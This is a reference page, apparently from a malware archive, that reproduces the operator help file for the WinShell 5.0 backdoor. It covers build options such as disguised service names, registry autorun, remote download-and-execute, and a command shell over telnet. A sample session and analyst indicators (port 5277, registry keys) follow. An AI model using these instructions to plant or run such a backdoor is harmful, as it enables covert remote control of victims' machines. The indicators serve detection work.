WinShell 5.0
(Backdoor.Win32.Winshell.50)

by Mr.Janker

Written in Visual C++

Released in June 2002

Made in China

more versions


WinShell v5.0 £­ A finished telnet server for windows

Author  : janker


About
=====
WinShell was a telnet server for windows platform. Main program was just a 5k bytes stand-alone executable file, Could run stably without any third dll, Although it was so thin, it had many of  functions, such as custom port, password protect, muti-user logon, NT Service mode, download file£Ĵuser-defined message, special anti-ddos and etc. Detail to see the following:

01. Designed for Windows 9X/ME/NT/2K/XP
02. Just a stand-alone executable file and no setup
03. Support all of the standard telnet client
04. Allow muti-user logon and password authentication
05. Custom port number and other configurable item
06. Run in the background without gui
07. Support service mode in NT system
08. Build-in install and remove
09. Build-in file download
10. Build-in reboot and shutdown
11. Build-in terminate itself remotely
12. Auto download file and execute while starting
13. Special anti-ddos flood attack
14. Support EXE Compress and Protect program

Release Files
=============
winshell.exe      WinShell maker
winshell.exe.sig  Digital sign file
english.txt       English help file
chinese.txt       Chinese help file
janker.asc        Author's public key file

Make WinShell
=============
1. Run winshell.exe.
2. Config the options as you need.
3. Click the button "make".
4. Get your custom winshell and configuration File.

The main options detail as the following: 

Port:
-----
The listening port number, default was 5277.

Password:
---------
The logon key, default was none.

Password Banner:
------------------------
The message of asking password, default was "Password:".

SvcName:
--------
The service name for NT system, default was "WinShell". Example: The service name of ms ftp server was "msftpsvc".

RegKeyName:
-----------
The registry key name for autorun in the win9x/me, default was "WinShell". example:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"WinShell"="C:\windows\winshell.exe"

DisplayName:
------------
The name of NT service showing in the service list. Example: The display name of ms ftp server was "FTP Publishing Service".

Descripition:
-------------
The service descripition for itself function, supported by 2000/XP, invalid in NT4.0.

AutoInstall:
------------
First try to install itself, then to run.

DownExec:
---------
To use or unuse the download and execute function.

Url Address:
------------
The url of executable file to be downloaded and executed.

Destination Filename:
---------------------
The filename to be saved to the disk, including the path.

Compress WinShellServer:
------------------------
Acquiescently WinShell maker will produce a compressed WinShell Server file for you, Of course, you may unselect and use other external compress and protect program to process the output server.

Command Line
============
WINSHELL.EXE [n][i]
n -port
i -install

Note: 
"n" was port number, the range was 1-65535, and it was firster than custom-port; "i" was to install winshell, just install, not to start winshell.

Start and Stop WinShell
=======================
To start:
---------
1. Application mode: just run winshell.exe, also maybe have command line parameter.
2. NT Service modeb: net start winshell.
To stop:
--------
1. With build-in function.
2. Kill the winshell process.
3. Net stop winshell.

Logon WinShell
==============
C:\>telnet xxx.xxx.xxx.xxx 5277
Password: 1234

WinShell v5.0 (C)2002 janker.org

? for help
CMD>?

i Install
r Remove
p Path
b reBoot
d shutDown
s Shell
x eXit
q Quit

Download:
CMD>http://.../srv.exe

? for help
CMD>

Example:
--------
1. CMD>p
C:\winnt\winshell.exe
2. CMD>http://www.janker.org/hello.exe
Download to C:\winnt\hello.exe...
OK!
3. CMD>s
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\>


Janker
CIWSP, CCNA,MCSE
Network Security Consultant


Server:
size: 5,920 bytes

port: 5277 TCP

added to registry:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\WinShell
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\l
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinShell


tested on Windows XP
September 25, 2005

MegaSecurity